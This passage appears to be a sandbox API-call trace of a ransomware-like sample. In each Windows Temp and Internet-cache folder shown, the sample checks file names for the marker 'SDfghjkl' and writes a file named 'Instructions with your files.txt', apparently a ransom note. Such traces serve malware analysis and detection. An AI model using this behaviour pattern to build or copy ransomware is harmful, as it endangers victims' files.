[0130.839] FindNextFileW (in: hFindFile=0x876db8, lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2006, ftCreationTime.dwLowDateTime=0xd97b1de0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd97b1de0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xd97b1de0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x43, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0
[0130.839] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\KETAJP6D\\Instructions with your files.txt") returned 131
[0130.839] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\KETAJP6D\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\temporary internet files\\content.ie5\\ketajp6d\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
[0130.839] WriteFile (in: hFile=0x120, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce454*=0x54, lpOverlapped=0x0) returned 1
[0130.840] WriteFile (in: hFile=0x120, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce454*=0x18, lpOverlapped=0x0) returned 1
[0130.840] WriteFile (in: hFile=0x120, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce454*=0xc, lpOverlapped=0x0) returned 1
[0130.840] WriteFile (in: hFile=0x120, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce454*=0x16, lpOverlapped=0x0) returned 1
[0130.841] WriteFile (in: hFile=0x120, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce454*=0x23, lpOverlapped=0x0) returned 1
[0130.841] CloseHandle (hObject=0x120) returned 1
[0130.841] FindClose (in: hFindFile=0x876db8 | out: hFindFile=0x876db8) returned 1
[0130.841] GetProcessHeap () returned 0x810000
[0130.841] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22d0048 | out: hHeap=0x810000) returned 1
[0130.841] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xd97d7f40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd97d7f40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xd97d7f40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VB18B0KB", cAlternateFileName="")) returned 1
[0130.841] wnsprintfW (in: pszDest=0x865bd0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\VB18B0KB") returned 98
[0130.841] GetProcessHeap () returned 0x810000
[0130.841] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22d0048
[0130.841] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\VB18B0KB\\*") returned 100
[0130.841] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\VB18B0KB\\*", lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xd97d7f40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd97d7f40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xd97d7f40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876db8
[0130.841] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\VB18B0KB\\.") returned 100
[0130.841] StrStrIW (lpFirst=".", lpSrch="SDfghjkl") returned 0x0
[0130.841] FindNextFileW (in: hFindFile=0x876db8, lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xd97d7f40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd97d7f40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xd97d7f40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0130.841] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\VB18B0KB\\..") returned 101
[0130.841] StrStrIW (lpFirst="..", lpSrch="SDfghjkl") returned 0x0
[0130.841] FindNextFileW (in: hFindFile=0x876db8, lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2006, ftCreationTime.dwLowDateTime=0xd97d7f40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd97d7f40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xd97d7f40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x43, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
[0130.841] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\VB18B0KB\\desktop.ini") returned 110
[0130.841] StrStrIW (lpFirst="desktop.ini", lpSrch="SDfghjkl") returned 0x0
[0130.841] FindNextFileW (in: hFindFile=0x876db8, lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2006, ftCreationTime.dwLowDateTime=0xd97d7f40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd97d7f40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xd97d7f40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x43, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0
[0130.842] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\VB18B0KB\\Instructions with your files.txt") returned 131
[0130.842] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\VB18B0KB\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\temporary internet files\\content.ie5\\vb18b0kb\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
[0130.842] WriteFile (in: hFile=0x120, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce454*=0x54, lpOverlapped=0x0) returned 1
[0130.843] WriteFile (in: hFile=0x120, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce454*=0x18, lpOverlapped=0x0) returned 1
[0130.843] WriteFile (in: hFile=0x120, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce454*=0xc, lpOverlapped=0x0) returned 1
[0130.843] WriteFile (in: hFile=0x120, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce454*=0x16, lpOverlapped=0x0) returned 1
[0130.843] WriteFile (in: hFile=0x120, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce454*=0x23, lpOverlapped=0x0) returned 1
[0130.843] CloseHandle (hObject=0x120) returned 1
[0130.843] FindClose (in: hFindFile=0x876db8 | out: hFindFile=0x876db8) returned 1
[0130.843] GetProcessHeap () returned 0x810000
[0130.843] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22d0048 | out: hHeap=0x810000) returned 1
[0130.843] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xd97b1de0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd97b1de0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xd97b1de0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="XT1RPYG9", cAlternateFileName="")) returned 1
[0130.843] wnsprintfW (in: pszDest=0x865bd0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\XT1RPYG9") returned 98
[0130.843] GetProcessHeap () returned 0x810000
[0130.843] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22d0048
[0130.843] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\XT1RPYG9\\*") returned 100
[0130.843] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\XT1RPYG9\\*", lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xd97b1de0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd97b1de0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xd97b1de0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876db8
[0130.844] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\XT1RPYG9\\.") returned 100
[0130.844] StrStrIW (lpFirst=".", lpSrch="SDfghjkl") returned 0x0
[0130.844] FindNextFileW (in: hFindFile=0x876db8, lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xd97b1de0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd97b1de0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xd97b1de0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0130.844] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\XT1RPYG9\\..") returned 101
[0130.844] StrStrIW (lpFirst="..", lpSrch="SDfghjkl") returned 0x0
[0130.844] FindNextFileW (in: hFindFile=0x876db8, lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2006, ftCreationTime.dwLowDateTime=0xd97b1de0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd97b1de0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xd97b1de0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x43, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
[0130.844] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\XT1RPYG9\\desktop.ini") returned 110
[0130.844] StrStrIW (lpFirst="desktop.ini", lpSrch="SDfghjkl") returned 0x0
[0130.844] FindNextFileW (in: hFindFile=0x876db8, lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2006, ftCreationTime.dwLowDateTime=0xd97b1de0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd97b1de0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xd97b1de0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x43, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0
[0130.844] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\XT1RPYG9\\Instructions with your files.txt") returned 131
[0130.845] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\XT1RPYG9\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\temporary internet files\\content.ie5\\xt1rpyg9\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
[0130.845] WriteFile (in: hFile=0x120, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce454*=0x54, lpOverlapped=0x0) returned 1
[0130.846] WriteFile (in: hFile=0x120, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce454*=0x18, lpOverlapped=0x0) returned 1
[0130.846] WriteFile (in: hFile=0x120, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce454*=0xc, lpOverlapped=0x0) returned 1
[0130.846] WriteFile (in: hFile=0x120, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce454*=0x16, lpOverlapped=0x0) returned 1
[0130.846] WriteFile (in: hFile=0x120, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce454*=0x23, lpOverlapped=0x0) returned 1
[0130.847] CloseHandle (hObject=0x120) returned 1
[0130.847] FindClose (in: hFindFile=0x876db8 | out: hFindFile=0x876db8) returned 1
[0130.847] GetProcessHeap () returned 0x810000
[0130.847] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22d0048 | out: hHeap=0x810000) returned 1
[0130.847] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xd97b1de0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd97b1de0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xd97b1de0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="XT1RPYG9", cAlternateFileName="")) returned 0
[0130.847] wnsprintfW (in: pszDest=0x865bd0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\Instructions with your files.txt") returned 122
[0130.847] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\temporary internet files\\content.ie5\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11c
[0130.848] WriteFile (in: hFile=0x11c, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce6e4*=0x54, lpOverlapped=0x0) returned 1
[0130.849] WriteFile (in: hFile=0x11c, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce6e4*=0x18, lpOverlapped=0x0) returned 1
[0130.849] WriteFile (in: hFile=0x11c, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce6e4*=0xc, lpOverlapped=0x0) returned 1
[0130.849] WriteFile (in: hFile=0x11c, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce6e4*=0x16, lpOverlapped=0x0) returned 1
[0130.849] WriteFile (in: hFile=0x11c, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce6e4*=0x23, lpOverlapped=0x0) returned 1
[0130.850] CloseHandle (hObject=0x11c) returned 1
[0130.850] FindClose (in: hFindFile=0x876d78 | out: hFindFile=0x876d78) returned 1
[0130.850] GetProcessHeap () returned 0x810000
[0130.850] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x865bd0 | out: hHeap=0x810000) returned 1
[0130.851] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xd978bc80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd97d7f40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xd97d7f40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Content.IE5", cAlternateFileName="")) returned 0
[0130.851] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Instructions with your files.txt") returned 110
[0130.851] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\temporary internet files\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118
[0130.851] WriteFile (in: hFile=0x118, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce974*=0x54, lpOverlapped=0x0) returned 1
[0130.852] WriteFile (in: hFile=0x118, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce974*=0x18, lpOverlapped=0x0) returned 1
[0130.852] WriteFile (in: hFile=0x118, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce974*=0xc, lpOverlapped=0x0) returned 1
[0130.852] WriteFile (in: hFile=0x118, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce974*=0x16, lpOverlapped=0x0) returned 1
[0130.852] WriteFile (in: hFile=0x118, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce974*=0x23, lpOverlapped=0x0) returned 1
[0130.852] CloseHandle (hObject=0x118) returned 1
[0130.852] FindClose (in: hFindFile=0x876d38 | out: hFindFile=0x876d38) returned 1
[0130.852] GetProcessHeap () returned 0x810000
[0130.852] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x855bc8 | out: hHeap=0x810000) returned 1
[0130.853] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xae579b0, ftCreationTime.dwHighDateTime=0x1d5c116, ftLastAccessTime.dwLowDateTime=0xb90beb50, ftLastAccessTime.dwHighDateTime=0x1d5ba4a, ftLastWriteTime.dwLowDateTime=0xb90beb50, ftLastWriteTime.dwHighDateTime=0x1d5ba4a, nFileSizeHigh=0x0, nFileSizeLow=0x10823, dwReserved0=0x0, dwReserved1=0x0, cFileName="uuvX2.mkv", cAlternateFileName="")) returned 1
[0130.853] wnsprintfW (in: pszDest=0x845bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\uuvX2.mkv") returned 62
[0130.853] StrStrIW (lpFirst="uuvX2.mkv", lpSrch="SDfghjkl") returned 0x0
[0130.853] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4a02c280, ftCreationTime.dwHighDateTime=0x1d5c52e, ftLastAccessTime.dwLowDateTime=0xa2657940, ftLastAccessTime.dwHighDateTime=0x1d5c38a, ftLastWriteTime.dwLowDateTime=0xa2657940, ftLastWriteTime.dwHighDateTime=0x1d5c38a, nFileSizeHigh=0x0, nFileSizeLow=0x4774, dwReserved0=0x0, dwReserved1=0x0, cFileName="WOk6F9giYkZvLsv_3C.png", cAlternateFileName="WOK6F9~1.PNG")) returned 1
[0130.853] wnsprintfW (in: pszDest=0x845bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\WOk6F9giYkZvLsv_3C.png") returned 75
[0130.853] StrStrIW (lpFirst="WOk6F9giYkZvLsv_3C.png", lpSrch="SDfghjkl") returned 0x0
[0130.853] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa45dff70, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0xa45dff70, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xa45dff70, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WPDNSE", cAlternateFileName="")) returned 1
[0130.853] wnsprintfW (in: pszDest=0x845bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\WPDNSE") returned 59
[0130.853] GetProcessHeap () returned 0x810000
[0130.853] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x855bc8
[0130.853] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\WPDNSE\\*") returned 61
[0130.853] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\WPDNSE\\*", lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa45dff70, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0xa45dff70, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xa45dff70, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876d38
[0130.853] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\WPDNSE\\.") returned 61
